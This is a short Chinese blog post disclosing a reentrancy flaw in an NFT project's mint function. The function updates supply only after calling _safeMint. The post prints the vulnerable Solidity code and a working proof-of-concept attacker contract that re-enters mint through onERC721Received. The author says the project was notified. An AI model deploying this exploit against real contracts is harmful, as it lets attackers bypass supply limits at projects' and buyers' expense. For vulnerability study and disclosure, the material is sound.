某项目mint 重入(已经通知项目方)

今天在群里看到有个nft的项目,于是分析一下。

主要的漏洞点是mint功能没有设置反重入攻击

function mint(uint256 _mintAmount) public payable {
        uint256 supply = currentSupply;
        require(_mintAmount > 0, "8HANABI:: Mint amount must be at least 1");
        require(
            supply + _mintAmount <= maxSupply,
            "8HANABI:: Unable to mint amount, will exceed max supply. Try decreasing the quantity."
        );
        if (msg.sender != owner()) {
            require(!_paused, "8HANABI:: Contract is paused.");
            require(_allowlistPaused, "8HANABI:: Allowlist sale is ongoing.");
            require(startingBlock > 0, "8HANABI:: Public sale start time has not been set.");
            require(startingBlock < block.timestamp, "8HANABI:: Public sale has not started.");
            require(
                _mintAmount <= maxMintAmount,//10
                "8HANABI:: Unable to mint amount, will exceed minting limit."
            );
            require(
                msg.value >= getCurrentPrice() * _mintAmount,
                "8HANABI:: Insufficient funds."
            );
        }
        _safeMint(msg.sender, _mintAmount); // 确实可以重入,但是需要每次给钱
        currentSupply += _mintAmount;
    }

这里他是先safeMintcurrentSupply += _mintAmount;

写了个poc来验证

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "hardhat/console.sol";
interface IHANABI {
    function mint(uint256 _mintAmount) external payable;
    function currentSupply() external view returns (uint256);
}
contract HANABIReentrancy {
    address addr;
    uint256 i = 20;
    uint256 price;

    constructor(address _addr, uint256 _price) {
        addr = _addr;
        price = _price;
    }

    receive() external payable {}

    function mintToken() public  {
        uint16 n = 1;
        console.log("mint");
        IHANABI(addr).mint{value: price}(n);
        console.log(IHANABI(addr).currentSupply());
    }

    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) payable external returns (bytes4) {
        i = i -1;
        if (i != 0) {
            mintToken();
        }

        return IERC721Receiver.onERC721Received.selector;
    }
}

效果如下

通过discrod通知到项目方,于是白嫖到一个NFT

Last updated